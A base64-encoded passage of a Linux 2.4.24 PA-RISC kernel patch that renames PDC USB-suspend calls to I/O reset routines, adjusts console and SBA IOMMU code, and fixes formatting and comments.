Yy1saW51eCBkb2Vzbid0IHN1cHBvcnQpIGJ1dAorICogd2hvIGtub3dzIHdoYXQgb3RoZXIgcGxh
dGZvcm0gZmlybXdhcmUgbWlnaHQgZG8gd2l0aCB0aGlzIE9TICJob29rIi4KKyAqLwordm9pZCBw
ZGNfaW9fcmVzZXQodm9pZCkKK3sKKwlzcGluX2xvY2tfaXJxKCZwZGNfbG9jayk7ICAKKwltZW1f
cGRjX2NhbGwoUERDX0lPLCBQRENfSU9fUkVTRVQsIDApOworCXNwaW5fdW5sb2NrX2lycSgmcGRj
X2xvY2spOworfQorCisvKgorICogcGRjX2lvX3Jlc2V0X2RldmljZXMgLSBIYWNrIHRvIFN0b3Ag
VVNCIGNvbnRyb2xsZXIKICAqCiAgKiBJZiBQREMgdXNlZCB0aGUgdXNiIGNvbnRyb2xsZXIsIHRo
ZSB1c2IgY29udHJvbGxlcgogICogaXMgc3RpbGwgcnVubmluZyBhbmQgd2lsbCBjcmFzaCB0aGUg
bWFjaGluZXMgZHVyaW5nIGlvbW11IAogICogc2V0dXAsIGJlY2F1c2Ugb2Ygc3RpbGwgcnVubmlu
ZyBETUEuIFRoaXMgUERDIGNhbGwKLSAqIHN0b3BzIHRoZSBVU0IgY29udHJvbGxlcgorICogc3Rv
cHMgdGhlIFVTQiBjb250cm9sbGVyLgorICogTm9ybWFsbHkgY2FsbGVkIGFmdGVyIGNhbGxpbmcg
cGRjX2lvX3Jlc2V0KCkuCiAgKi8KLXZvaWQgcGRjX3N1c3BlbmRfdXNiKHZvaWQpCit2b2lkIHBk
Y19pb19yZXNldF9kZXZpY2VzKHZvaWQpCiB7CiAJc3Bpbl9sb2NrX2lycSgmcGRjX2xvY2spOyAg
Ci0JbWVtX3BkY19jYWxsKFBEQ19JTywgUERDX0lPX1NVU1BFTkRfVVNCLCAwKTsKKwltZW1fcGRj
X2NhbGwoUERDX0lPLCBQRENfSU9fUkVTRVRfREVWSUNFUywgMCk7CiAJc3Bpbl91bmxvY2tfaXJx
KCZwZGNfbG9jayk7CiB9CiAKKwogLyoqCiAgKiBwZGNfaW9kY19wdXRjIC0gQ29uc29sZSBjaGFy
YWN0ZXIgcHJpbnQgdXNpbmcgSU9EQy4KICAqIEBjOiB0aGUgY2hhcmFjdGVyIHRvIG91dHB1dC4K
QEAgLTkwMyw2ICs5NzYsNyBAQAogCiAgICAgICAgIHJldHVybiByZXR2YWw7CiB9CisvKiBFWFBP
UlRfU1lNQk9MKHBkY19zdGlfY2FsbCk7ICovCiAKICNpZmRlZiBfX0xQNjRfXwogLyoqCkBAIC0x
MDY1LDcgKzExMzksNyBAQAogCS8qIGluIHJlYWxpdHksIHRoZXJlJ3MgbmVhcmx5IDhrIG9mIHN0
YWNrIGFmdGVyIHRoaXMgKi8KIH07CiAKLXN0YXRpYyBsb25nIHJlYWwzMl9jYWxsKHVuc2lnbmVk
IGxvbmcgZm4sIC4uLikKK2xvbmcgcmVhbDMyX2NhbGwodW5zaWduZWQgbG9uZyBmbiwgLi4uKQog
ewogCXZhX2xpc3QgYXJnczsKIAlleHRlcm4gc3RydWN0IG5hcnJvd19zdGFjayByZWFsX3N0YWNr
MzI7CkBAIC0xMTE2LDcgKzExOTAsNyBAQAogCS8qIGluIHJlYWxpdHksIHRoZXJlJ3MgbmVhcmx5
IDhrIG9mIHN0YWNrIGFmdGVyIHRoaXMgKi8KIH07CiAKLXN0YXRpYyBsb25nIHJlYWw2NF9jYWxs
KHVuc2lnbmVkIGxvbmcgZm4sIC4uLikKK2xvbmcgcmVhbDY0X2NhbGwodW5zaWduZWQgbG9uZyBm
biwgLi4uKQogewogCXZhX2xpc3QgYXJnczsKIAlleHRlcm4gc3RydWN0IHdpZGVfc3RhY2sgcmVh
bF9zdGFjazY0OwpkaWZmIC1OYXVyWCBkb250ZGlmZiBsaW51eC0yLjQuMjQtcGEwLm9yaWcvYXJj
aC9wYXJpc2Mva2VybmVsL2ludmVudG9yeS5jIGxpbnV4LTIuNC4yNC1wYTAvYXJjaC9wYXJpc2Mv
a2VybmVsL2ludmVudG9yeS5jCi0tLSBsaW51eC0yLjQuMjQtcGEwLm9yaWcvYXJjaC9wYXJpc2Mv
a2VybmVsL2ludmVudG9yeS5jCTIwMDMtMDgtMDQgMDg6MDA6MDAuMDAwMDAwMDAwICswMjAwCisr
KyBsaW51eC0yLjQuMjQtcGEwL2FyY2gvcGFyaXNjL2tlcm5lbC9pbnZlbnRvcnkuYwkyMDA0LTAx
LTIyIDE5OjA0OjM5LjAwMDAwMDAwMCArMDEwMApAQCAtMTY3LDkgKzE2Nyw2IEBACiBzdGF0aWMg
aW50IF9faW5pdCAKIHBhdF9xdWVyeV9tb2R1bGUodWxvbmcgcGNlbGxfbG9jLCB1bG9uZyBtb2Rf
aW5kZXgpCiB7Ci0jaWZkZWYgREVCVUdfUEFUCi0JcGRjX3BhdF9jZWxsX21vZF9tYWRk
cl9ibG9ja190IGlvX3BkY19jZWxsOwotI2VuZGlmCiAJcGRjX3BhdF9jZWxsX21vZF9tYWRkcl9i
bG9ja190IHBhX3BkY19jZWxsOwogCXVuc2lnbmVkIGxvbmcgYnl0ZWNudDsKIAl1bnNpZ25lZCBs
b25nIHRlbXA7CS8qIDY0LWJpdCBzY3JhdGNoIHZhbHVlICovCkBAIC0yMDksNiArMjA2LDcgQEAK
IAlyZWdpc3Rlcl9wYXJpc2NfZGV2aWNlKGRldik7CS8qIGFkdmVydGlzZSBkZXZpY2UgKi8KIAog
I2lmZGVmIERFQlVHX1BBVAorCXBkY19wYXRfY2VsbF9tb2RfbWFkZHJfYmxvY2tfdCBpb19wZGNf
Y2VsbDsKIAkvKiBkdW1wIHdoYXQgd2Ugc2VlIHNvIGZhci4uLiAqLwogCXN3aXRjaCAoUEFUX0dF
VF9FTlRJVFkoZGV2LT5tb2RfaW5mbykpIHsKIAkJdW5zaWduZWQgbG9uZyBpOwpAQCAtNTI3LDEy
ICs1MjUsNiBAQAogCWludCBpOwogCWxvbmcgc3RhdHVzID0gUERDX09LOwogICAgIAotCS8qCi0J
ICogZmlyc3Qgc3RvcCB0aGUgdXNiIGNvbnRyb2xsZXIsIG90aGVyd2lzZSB0aGUgbWFjaGluZQot
CSAqIG1pZ2h0IGNyYXNoIGR1cmluZyBpb21tdSBzZXR1cAotCSAqLwotCXBkY19zdXNwZW5kX3Vz
YigpOwotCiAJZm9yIChpID0gMDsgc3RhdHVzICE9IFBEQ19CQURfUFJPQyAmJiBzdGF0dXMgIT0g
UERDX05FX01PRDsgaSsrKSB7CiAJCXN0cnVjdCBwYXJpc2NfZGV2aWNlICpkZXY7CiAJCXN0cnVj
dCBwZGNfc3lzdGVtX21hcF9tb2RfaW5mbyBtb2R1bGVfcmVzdWx0OwpkaWZmIC1OYXVyWCBkb250
ZGlmZiBsaW51eC0yLjQuMjQtcGEwLm9yaWcvYXJjaC9wYXJpc2Mva2VybmVsL3BkY19jb25zLmMg
bGludXgtMi40LjI0LXBhMC9hcmNoL3BhcmlzYy9rZXJuZWwvcGRjX2NvbnMuYwotLS0gbGludXgt
Mi40LjI0LXBhMC5vcmlnL2FyY2gvcGFyaXNjL2tlcm5lbC9wZGNfY29ucy5jCTIwMDQtMDEtMTkg
MDc6MjU6NDYuMDAwMDAwMDAwICswMTAwCisrKyBsaW51eC0yLjQuMjQtcGEwL2FyY2gvcGFyaXNj
L2tlcm5lbC9wZGNfY29ucy5jCTIwMDQtMDEtMjIgMTk6NTQ6NDguMDgyNjc4MTA0ICswMTAwCkBA
IC00MSw4ICs0MSwxMCBAQAogCiAvKiBEZWZpbmUgRUFSTFlfQk9PVFVQX0RFQlVHIHRvIGRlYnVn
IGtlcm5lbCByZWxhdGVkIGJvb3QgcHJvYmxlbXMuIAogICogT24gcHJvZHVjdGlvbiBrZXJuZWxz
IEVBUkxZX0JPT1RVUF9ERUJVRyBzaG91bGQgYmUgdW5kZWZpbmVkLiAqLworLyoKICN1bmRlZiBF
QVJMWV9CT09UVVBfREVCVUcKLQorICovCisjZGVmaW5lIEVBUkxZX0JPT1RVUF9ERUJVRwogCiAj
aW5jbHVkZSA8bGludXgvY29uZmlnLmg+CiAjaW5jbHVkZSA8bGludXgva2VybmVsLmg+CkBAIC04
Miw3ICs4NCw3IEBACiAKICNpZiBkZWZpbmVkKENPTkZJR19QRENfQ09OU09MRSkgfHwgZGVmaW5l
ZChDT05GSUdfU0VSSUFMX01VWCkKICNkZWZpbmUgUERDX0NPTlNPTEVfREVWSUNFIHBkY19jb25z
b2xlX2RldmljZQotc3RhdGljIGtkZXZfdCBwZGNfY29uc29sZV9kZXZpY2UgKHN0cnVjdCBjb25z
b2xlICpjKQorc3RhdGljIGtkZXZfdCBwZGNfY29uc29sZV9kZXZpY2Uoc3RydWN0IGNvbnNvbGUg
KmMpCiB7CiAgICAgICAgIHJldHVybiBNS0RFVihNVVhfTUFKT1IsIDApOwogfQpAQCAtOTEsMTgg
KzkzLDE4IEBACiAjZW5kaWYKIAogc3RhdGljIHN0cnVjdCBjb25zb2xlIHBkY19jb25zID0gewot
CW5hbWU6CQkidHR5QiIsCi0Jd3JpdGU6CQlwZGNfY29uc29sZV93cml0ZSwKKwkubmFtZSA9CQki
dHR5QiIsCisJLndyaXRlID0JCXBkY19jb25zb2xlX3dyaXRlLAogI3dhcm5pbmcgVVBTVFJFQU0g
Mi40LjE5IHJlbW92ZWQgdGhlIG5leHQgNCBsaW5lcyBidXQgd2UgZGlkIG5vdAotCXJlYWQ6CQlO
VUxMLAotCWRldmljZToJCVBEQ19DT05TT0xFX0RFVklDRSwKLQl1bmJsYW5rOglOVUxMLAotCXNl
dHVwOgkJcGRjX2NvbnNvbGVfc2V0dXAsCi0JZmxhZ3M6CQlDT05fQk9PVHxDT05fUFJJTlRCVUZG
RVJ8Q09OX0VOQUJMRUQsCi0JaW5kZXg6CQktMSwKKwkucmVhZCA9CQlOVUxMLAorCS5kZXZpY2Ug
PQlQRENfQ09OU09MRV9ERVZJQ0UsCisJLnVuYmxhbmsgPQlOVUxMLAorCS5zZXR1cCA9CXBkY19j
b25zb2xlX3NldHVwLAorCS5mbGFncyA9CUNPTl9CT09UfENPTl9QUklOVEJVRkZFUnxDT05fRU5B
QkxFRCwKKwkuaW5kZXggPQktMSwKIH07CiAKLXN0YXRpYyBpbnQgcGRjX2NvbnNvbGVfaW5pdGlh
bGl6ZWQ7CitzdGF0aWMgaW50IHBkY19jb25zb2xlX2luaXRpYWxpemVkID0gMDsKIGV4dGVybiB1
bnNpZ25lZCBsb25nIGNvbl9zdGFydDsJLyoga2VybmVsL3ByaW50ay5jICovCiBleHRlcm4gdW5z
aWduZWQgbG9uZyBsb2dfZW5kOwkvKiBrZXJuZWwvcHJpbnRrLmMgKi8KIApAQCAtMTY0LDcgKzE2
Niw3IEBACiAJCXJldHVybjsKIAogCXdoaWxlICgoY29uc29sZSA9IGNvbnNvbGVfZHJpdmVycykg
IT0gTlVMTCkKLQkJdW5yZWdpc3Rlcl9jb25zb2xlKGNvbnNvbGVfZHJpdmVycyk7CisJCXVucmVn
aXN0ZXJfY29uc29sZShjb25zb2xlKTsKIAogCS8qIERvbid0IHJlcGVhdCB3aGF0IHdlJ3ZlIGFs
cmVhZHkgcHJpbnRlZCAqLwogCWNvbl9zdGFydCA9IGxvZ19lbmQ7CmRpZmYgLU5hdXJYIGRvbnRk
aWZmIGxpbnV4LTIuNC4yNC1wYTAub3JpZy9hcmNoL3BhcmlzYy9rZXJuZWwvcmVhbDIuUyBsaW51
eC0yLjQuMjQtcGEwL2FyY2gvcGFyaXNjL2tlcm5lbC9yZWFsMi5TCi0tLSBsaW51eC0yLjQuMjQt
cGEwLm9yaWcvYXJjaC9wYXJpc2Mva2VybmVsL3JlYWwyLlMJMjAwMy0wOS0yMiAwOTowNjoyMi4w
MDAwMDAwMDAgKzAyMDAKKysrIGxpbnV4LTIuNC4yNC1wYTAvYXJjaC9wYXJpc2Mva2VybmVsL3Jl
YWwyLlMJMjAwNC0wMS0yMiAxNjo1Mjo0My4wMDAwMDAwMDAgKzAxMDAKQEAgLTEzLDcgKzEzLDcg
QEAKIAkuc2VjdGlvbgkuYnNzCiAJLmV4cG9ydCByZWFsX3N0YWNrMzIKICNpZmRlZiBfX0xQNjRf
XwotCS5leHBvcnQgcmVhbF9zdGFjazY0IAorCS5leHBvcnQgcmVhbF9zdGFjazY0CiAjZW5kaWYK
IAkuYWxpZ24JNjQKIHJlYWxfc3RhY2szMjoKZGlmZiAtTmF1clggZG9udGRpZmYgbGludXgtMi40
LjI0LXBhMC5vcmlnL2FyY2gvcGFyaXNjL2tlcm5lbC9zYmFfaW9tbXUuYyBsaW51eC0y
LjQuMjQtcGEwL2FyY2gvcGFyaXNjL2tlcm5lbC9zYmFfaW9tbXUuYwotLS0gbGludXgtMi40LjI0
LXBhMC5vcmlnL2FyY2gvcGFyaXNjL2tlcm5lbC9zYmFfaW9tbXUuYwkyMDAyLTEyLTAzIDA4OjA3
OjEyLjAwMDAwMDAwMCArMDEwMAorKysgbGludXgtMi40LjI0LXBhMC9hcmNoL3BhcmlzYy9rZXJu
ZWwvc2JhX2lvbW11LmMJMjAwNC0wMS0yMiAxOTo0Nzo0NS4wMDAwMDAwMDAgKzAxMDAKQEAgLTU3
OSw3ICs1NzksOCBAQAogCWlmIChwaWRlID49IChpb2MtPnJlc19zaXplIDw8IDMpKSB7CiAJCXBp
ZGUgPSBzYmFfc2VhcmNoX2JpdG1hcChpb2MsIHBhZ2VzX25lZWRlZCk7CiAJCWlmIChwaWRlID49
IChpb2MtPnJlc19zaXplIDw8IDMpKQotCQkJcGFuaWMoX19GSUxFX18gIjogSS9PIE1NVSBAICVs
eCBpcyBvdXQgb2YgbWFwcGluZyByZXNvdXJjZXNcbiIsIGlvYy0+aW9jX2hwYSk7CisJCQlwYW5p
YygiJXM6IEkvTyBNTVUgQCAlbHggaXMgb3V0IG9mIG1hcHBpbmcgcmVzb3VyY2VzXG4iLAorCQkJ
ICAgICAgX19GSUxFX18sIGlvYy0+aW9jX2hwYSk7CiAJfQogCiAjaWZkZWYgQVNTRVJUX1BESVJf
U0FOSVRZCkBAIC05MDQsOCArOTA1LDggQEAKICAqCiAgKiBTZWUgRG9jdW1lbnRhdGlvbi9ETUEt
bWFwcGluZy50eHQKICAqLwotc3RhdGljIHZvaWQKLXNiYV91bm1hcF9zaW5nbGUoc3RydWN0IHBj
aV9kZXYgKmRldiwgZG1hX2FkZHJfdCBpb3ZhLCBzaXplX3Qgc2l6ZSwgaW50IGRpcmVjdGlvbikK
K3N0YXRpYyB2b2lkIHNiYV91bm1hcF9zaW5nbGUoc3RydWN0IHBjaV9kZXYgKmRldiwgZG1hX2Fk
ZHJfdCBpb3ZhLCBzaXplX3Qgc2l6ZSwKKwkJIGludCBkaXJlY3Rpb24pCiB7CiAJc3RydWN0IGlv
YyAqaW9jOwogI2lmIERFTEFZRURfUkVTT1VSQ0VfQ05UID4gMApAQCAtOTc0LDggKzk3NSw4IEBA
CiAgKgogICogU2VlIERvY3VtZW50YXRpb24vRE1BLW1hcHBpbmcudHh0CiAgKi8KLXN0YXRpYyB2
b2lkICoKLXNiYV9hbGxvY19jb25zaXN0ZW50KHN0cnVjdCBwY2lfZGV2ICpod2Rldiwgc2l6ZV90
IHNpemUsIGRtYV9hZGRyX3QgKmRtYV9oYW5kbGUpCitzdGF0aWMgdm9pZCAqc2JhX2FsbG9jX2Nv
bnNpc3RlbnQoc3RydWN0IHBjaV9kZXYgKmh3ZGV2LCBzaXplX3Qgc2l6ZSwKKwkJCQkgIGRtYV9h
ZGRyX3QgKmRtYV9oYW5kbGUpCiB7CiAJdm9pZCAqcmV0OwogCkBAIC0xMDA2LDcgKzEwMDcsOCBA
QAogICogU2VlIERvY3VtZW50YXRpb24vRE1BLW1hcHBpbmcudHh0CiAgKi8KIHN0YXRpYyB2b2lk
Ci1zYmFfZnJlZV9jb25zaXN0ZW50KHN0cnVjdCBwY2lfZGV2ICpod2Rldiwgc2l6ZV90IHNpemUs
IHZvaWQgKnZhZGRyLCBkbWFfYWRkcl90IGRtYV9oYW5kbGUpCitzYmFfZnJlZV9jb25zaXN0ZW50
KHN0cnVjdCBwY2lfZGV2ICpod2Rldiwgc2l6ZV90IHNpemUsIHZvaWQgKnZhZGRyLAorCQkgICAg
ZG1hX2FkZHJfdCBkbWFfaGFuZGxlKQogewogCXNiYV91bm1hcF9zaW5nbGUoaHdkZXYsIGRtYV9o
YW5kbGUsIHNpemUsIDApOwogCWZyZWVfcGFnZXMoKHVuc2lnbmVkIGxvbmcpIHZhZGRyLCBnZXRf
b3JkZXIoc2l6ZSkpOwpAQCAtMTExMyw3ICsxMTE1LDcgQEAKIAogLyoKICoqIFR3byBhZGRyZXNz
IHJhbmdlcyBhcmUgRE1BIGNvbnRpZ3VvdXMgKmlmZiogImVuZCBvZiBwcmV2IiBhbmQKLSoqICJz
dGFydCBvZiBuZXh0IiBhcmUgYm90aCBvbiBhIHBhZ2UgYm91bmRyeS4KKyoqICJzdGFydCBvZiBu
ZXh0IiBhcmUgYm90aCBvbiBhIHBhZ2UgYm91bmRhcnkuCiAqKgogKiogKHNoaWZ0IGxlZnQgaXMg
YSBxdWljayB0cmljayB0byBtYXNrIG9mZiB1cHBlciBiaXRzKQogKi8KQEAgLTExMzEsNyArMTEz
Myw3IEBACiAgKiBpbiB0aGUgRE1BIHN0cmVhbS4gQWxsb2NhdGVzIFBESVIgZW50cmllcyBidXQg
ZG9lcyBub3QgZmlsbCB0aGVtLgogICogUmV0dXJucyB0aGUgbnVtYmVyIG9mIERNQSBjaHVua3Mu
CiAgKgotICogRG9pbmcgdGhlIGZpbGwgc2VwZXJhdGUgZnJvbSB0aGUgY29hbGVzY2luZy9hbGxv
Y2F0aW9uIGtlZXBzIHRoZQorICogRG9pbmcgdGhlIGZpbGwgc2VwYXJhdGUgZnJvbSB0aGUgY29h
bGVzY2luZy9hbGxvY2F0aW9uIGtlZXBzIHRoZQogICogY29kZSBzaW1wbGVyLiBGdXR1cmUgZW5o
YW5jZW1lbnQgY291bGQgbWFrZSBvbmUgcGFzcyB0aHJvdWdoCiAgKiB0aGUgc2dsaXN0IGRvIGJv
dGguCiAgKi8KQEAgLTEyMTgsNyArMTIyMCw3IEBACiAJCQkqKiBjYW4ndCBjaGFuZ2UuIEFuZCB3
ZSBuZWVkIHRoZSBvZmZzZXQgZnJvbSB0aGUgZmlyc3QKIAkJCSoqIGNodW5rIC0gbm90IHRoZSBs
YXN0IG9uZS4gRXJnbyBTdWNjZXNzaXZlIGNodW5rcwogCQkJKiogbXVzdCBzdGFydCBvbiBwYWdl
IGJvdW5kYXJpZXMgYW5kIGRvdmUgdGFpbAotCQkJKiogd2l0aCBpdCdzIHByZWRlY2Vzc29yLgor
CQkJKiogd2l0aCBpdHMgcHJlZGVjZXNzb3IuCiAJCQkqLwogCQkJc2dfZG1hX2xlbih2Y29udGln
X3NnKSA9IHZjb250aWdfbGVuOwogCkBAIC0xMjY4LDcgKzEyNzAsOCBAQAogICogU2VlIERvY3Vt
ZW50YXRpb24vRE1BLW1hcHBpbmcudHh0CiAgKi8KIHN0YXRpYyBpbnQKLXNiYV9tYXBfc2coc3Ry
dWN0IHBjaV9kZXYgKmRldiwgc3RydWN0IHNjYXR0ZXJsaXN0ICpzZ2xpc3QsIGludCBuZW50cywg
aW50IGRpcmVjdGlvbikKK3NiYV9tYXBfc2coc3RydWN0IHBjaV9kZXYgKmRldiwgc3RydWN0IHNj
YXR0ZXJsaXN0ICpzZ2xpc3QsIGludCBuZW50cywKKwkgICBpbnQgZGlyZWN0aW9uKQogewogCXN0
cnVjdCBpb2MgKmlvYzsKIAlpbnQgY29hbGVzY2VkLCBmaWxsZWQgPSAwOwpAQCAtMTM1MCw3ICsx
MzUzLDggQEAKICAqIFNlZSBEb2N1bWVudGF0aW9uL0RNQS1tYXBwaW5nLnR4dAogICovCiBzdGF0
aWMgdm9pZCAKLXNiYV91bm1hcF9zZyhzdHJ1Y3QgcGNpX2RldiAqZGV2LCBzdHJ1Y3Qgc2NhdHRl
cmxpc3QgKnNnbGlzdCwgaW50IG5lbnRzLCBpbnQgZGlyZWN0aW9uKQorc2JhX3VubWFwX3NnKHN0
cnVjdCBwY2lfZGV2ICpkZXYsIHN0cnVjdCBzY2F0dGVybGlzdCAqc2dsaXN0LCBpbnQgbmVudHMs
CisJICAgICBpbnQgZGlyZWN0aW9uKQogewogCXN0cnVjdCBpb2MgKmlvYzsKICNpZmRl
ZiBBU1NFUlRfUERJUl9TQU5JVFkKQEAgLTEzOTUsMTUgKzEzOTksMTUgQEAKIH0KIAogc3RhdGlj
IHN0cnVjdCBwY2lfZG1hX29wcyBzYmFfb3BzID0gewotCXNiYV9kbWFfc3VwcG9ydGVkLAotCXNi
YV9hbGxvY19jb25zaXN0ZW50LAkvKiBhbGxvY2F0ZSBjYWNoZWFibGUgaG9zdCBtZW0gKi8KLQlz
YmFfZnJlZV9jb25zaXN0ZW50LAkvKiByZWxlYXNlIGNhY2hlYWJsZSBob3N0IG1lbSAqLwotCXNi
YV9tYXBfc2luZ2xlLAotCXNiYV91bm1hcF9zaW5nbGUsCi0Jc2JhX21hcF9zZywKLQlzYmFfdW5t
YXBfc2csCi0JTlVMTCwJCQkvKiBkbWFfc3luY19zaW5nbGUgKi8KLQlOVUxMCQkJLyogZG1hX3N5
bmNfc2cgKi8KKwkuZG1hX3N1cHBvcnRlZCA9CXNiYV9kbWFfc3VwcG9ydGVkLAorCS5hbGxvY19j
b25zaXN0ZW50ID0Jc2JhX2FsbG9jX2NvbnNpc3RlbnQsCS8qIGFsbG9jYXRlIGNhY2hlYWJsZSBo
b3N0IG1lbSAqLworCS5mcmVlX2NvbnNpc3RlbnQgPQlzYmFfZnJlZV9jb25zaXN0ZW50LAkvKiBy
ZWxlYXNlIGNhY2hlYWJsZSBob3N0IG1lbSAqLworCS5tYXBfc2luZ2xlID0JCXNiYV9tYXBfc2lu
Z2xlLAorCS51bm1hcF9zaW5nbGUgPQkJc2JhX3VubWFwX3NpbmdsZSwKKwkubWFwX3NnID0JCXNi
YV9tYXBfc2csCisJLnVubWFwX3NnID0JCXNiYV91bm1hcF9zZywKKwkuZG1hX3N5bmNfc2luZ2xl
ID0JTlVMTCwKKwkuZG1hX3N5bmNfc2cgPQkJTlVMTCwKIH07CiAKIApAQCAtMTY3OCw2ICsxNjgy
LDIyIEBACiAJaW50IG51bV9pb2M7CiAJdTY0IGlvY19jdGw7CiAKKwlpZiAoIWlzX3BkY19wYXQo
KSkgeworCQkvKiAKKwkJICogU2h1dGRvd24gdGhlIFVTQiBjb250cm9sbGVyIG9uIEFzdHJvLWJh
c2VkIHdvcmtzdGF0aW9ucy4KKwkJICogT25jZSB3ZSByZXByb2dyYW0gdGhlIElPTU1VLCB0aGUg
bmV4dCBETUEgcGVyZm9ybWVkIGJ5CisJCSAqIFVTQiB3aWxsIEhQTUMgdGhlIGJveC4KKwkJICov
CisJCXBkY19pb19yZXNldF9kZXZpY2VzKCk7CisKKwkJLyoKKwkJICogWFhYIE1heSBuZWVkIHNv
bWV0aGluZyBtb3JlIHNvcGhpc3RpY2F0ZWQgdG8gZGVhbAorCQkgKiAgICAgd2l0aCBETUEgZnJv
bSBMQU4uIE1heWJlIHVzZSBwYWdlIHplcm8gYm9vdCBkZXZpY2UKKwkJICogICAgIGFzIGEgaGFu
ZGxlIHRvIHRhbGsgdG8gUERDIGFib3V0IHdoaWNoIGRldmljZSB0bworCQkgKiAgICAgc2h1dGRv
d24uIFRoaXMgYWxzbyBuZWVkcyB0byB3b3JrIGZvciBpc19wZGNfcGF0KCkuIAorCQkgKi8KKwl9
CisKIAlpb2NfY3RsID0gUkVBRF9SRUcoc2JhX2Rldi0+c2JhX2hwYStJT0NfQ1RSTCk7CiAJREJH
X0lOSVQoIiVzKCkgaHBhIDB4JWx4IGlvY19jdGwgMHglTHggLT4iLAogCQlfX0ZVTkNUSU9OX18s
IHNiYV9kZXYtPnNiYV9ocGEsIGlvY19jdGwpOwpAQCAtMTcyOCw5ICsxNzQ4LDEwIEBACiB7CiAJ
aW50IGk7CiAKLQkvKiBhZGQgdGhpcyBvbmUgdG8gdGhlIGhlYWQgb2YgdGhlIGxpc3QgKG9yZGVy
IGRvZXNuJ3QgbWF0dGVyKQotCSoqIFRoaXMgd2lsbCBiZSB1c2VmdWwgZm9yIGRlYnVnZ2luZyAt
IGVzcGVjaWFsbHkgaWYgd2UgZ2V0IGNvcmVkdW1wcwotCSovCisJLyoKKwkgKiBhZGQgdGhpcyBv
bmUgdG8gdGhlIGhlYWQgb2YgdGhlIGxpc3QgKG9yZGVyIGRvZXNuJ3QgbWF0dGVyKQorCSAqIFRo
aXMgd2lsbCBiZSB1c2VmdWwgZm9yIGRlYnVnZ2luZyAtIGVzcGVjaWFsbHkgaWYgd2UgZ2V0IGNv
cmVkdW1wcworCSAqLwogCXNiYV9kZXYtPm5leHQgPSBzYmFfbGlzdDsKIAlzYmFfbGlzdCA9IHNi
YV9kZXY7CiAKQEAgLTE3NjQsNyArMTc4NSw4IEBACiAKIAkJaWYgKE5VTEwgPT0gc2JhX2Rldi0+
aW9jW2ldLnJlc19tYXApCiAJCXsKLQkJCXBhbmljKF9fRklMRV9fICI6JXMoKSBjb3VsZCBub3Qg
YWxsb2NhdGUgcmVzb3VyY2UgbWFwXG4iLCBfX0ZVTkNUSU9OX18gKTsKKwkJCXBhbmljKCIlczol
cygpIGNvdWxkIG5vdCBhbGxvY2F0ZSByZXNvdXJjZSBtYXBcbiIsCisJCQkgICAgICBfX0ZJTEVf
XywgX19GVU5DVElPTl9fKTsKIAkJfQogCiAJCW1lbXNldChzYmFfZGV2LT5pb2NbaV0ucmVzX21h
cCwgMCwgcmVzX3NpemUpOwpAQCAtMTkxOCw5ICsxOTQwLDkgQEAKIGludCBzYmFfZHJpdmVyX2Nh
bGxiYWNrKHN0cnVjdCBwYXJpc2NfZGV2aWNlICopOwogCiBzdGF0aWMgc3RydWN0IHBhcmlzY19k
cml2ZXIgc2JhX2RyaXZlciA9IHsKLQluYW1lOgkJTU9EVUxFX05BTUUsCi0JaWRfdGFibGU6CXNi
YV90YmwsCi0JcHJvYmU6CQlzYmFfZHJpdmVyX2NhbGxiYWNrLAorCS5uYW1lCT0JTU9EVUxFX05B
TUUsCisJLmlkX3RhYmxlID0Jc2JhX3RibCwKKwkucHJvYmUgPQlzYmFfZHJpdmVyX2NhbGxiYWNr
LAogfTsKIAogLyoKZGlmZiAtTmF1clggZG9udGRpZmYgbGludXgtMi40LjI0LXBhMC5vcmlnL2lu
Y2x1ZGUvYXNtLXBhcmlzYy9wZGMuaCBsaW51eC0yLjQuMjQtcGEwL2luY2x1ZGUvYXNtLXBhcmlz
Yy9wZGMuaAotLS0gbGludXgtMi40LjI0LXBhMC5vcmlnL2luY2x1ZGUvYXNtLXBhcmlzYy9wZGMu
aAkyMDAyLTEwLTA0IDA3OjQ4OjQ3LjAwMDAwMDAwMCArMDIwMAorKysgbGludXgtMi40LjI0LXBh
MC9pbmNsdWRlL2FzbS1wYXJpc2MvcGRjLmgJMjAwNC0wMS0yMiAxODo0MzoxMy4wMDAwMDAwMDAg
KzAxMDAKQEAgLTE5MSw4ICsxOTEsOCBAQAogCiAjZGVmaW5lIFBEQ19JTwkJMTM1CQkvKiBsb2cg
ZXJyb3IgaW5mbywgcmVzZXQgSU8gc3lzdGVtICovCiAjZGVmaW5lIFBEQ19JT19SRUFEX0FORF9D
TEVBUl9FUlJPUlMJMAotI2RlZmluZSBQRENfSU9fUkVBRF9BTkRfTE9HX0VSUk9SUwkxCi0jZGVm
aW5lIFBEQ19JT19TVVNQRU5EX1VTQgkJMgorI2RlZmluZSBQRENfSU9fUkVTRVQJCQkxCisjZGVm
aW5lIFBEQ19JT19SRVNFVF9ERVZJQ0VTCQkyCiAvKiBzZXRzIGJpdHMgNiY3IChsaXR0bGUgZW5k
aWFuKSBvZiB0aGUgSGNDb250cm9sIFJlZ2lzdGVyICovCiAjZGVmaW5lIFBEQ19JT19VU0JfU1VT
UEVORAkweEMwMDAwMDAwMDAwMDAwMDAKICNkZWZpbmUgUERDX0lPX0VFUFJPTV9JT19FUlJfVEFC
TEVfRlVMTAktNQkvKiByZXR1cm4gdmFsdWUgKi8KQEAgLTQ3Niw3ICs0NzYsMTEgQEAK
ICNkZWZpbmUgUERDX1RZUEVfU1lTVEVNX01BUAkgMSAvKiAzMi1iaXQsIGJ1dCBzdXBwb3J0cyBQ
RENfU1lTVEVNX01BUCAqLwogI2RlZmluZSBQRENfVFlQRV9TTkFLRQkJIDIgLyogRG9lc24ndCBz
dXBwb3J0IFNZU1RFTV9NQVAgKi8KIAotI2RlZmluZSBpc19wZGNfcGF0KCkJKHBkY190eXBlID09
IFBEQ19UWVBFX1BBVCkKKyNpZmRlZiBDT05GSUdfUEFSSVNDNjQKKyNkZWZpbmUgaXNfcGRjX3Bh
dCgpICAgIChQRENfVFlQRV9QQVQgPT0gcGRjX3R5cGUpCisjZWxzZQorI2RlZmluZSBpc19wZGNf
cGF0KCkgICAgKDApCisjZW5kaWYKIAogc3RydWN0IHBkY19jaGFzc2lzX2luZm8geyAgICAgICAv
KiBmb3IgUERDX0NIQVNTSVNfSU5GTyAqLwogCXVuc2lnbmVkIGxvbmcgYWN0Y250OyAgIC8qIGFj
dHVhbCBudW1iZXIgb2YgYnl0ZXMgcmV0dXJuZWQgKi8KQEAgLTk1MSw3ICs5NTUsOCBAQAogaW50
IHBkY19kb19yZXNldCh2b2lkKTsKIGludCBwZGNfc29mdF9wb3dlcl9pbmZvKHVuc2lnbmVkIGxv
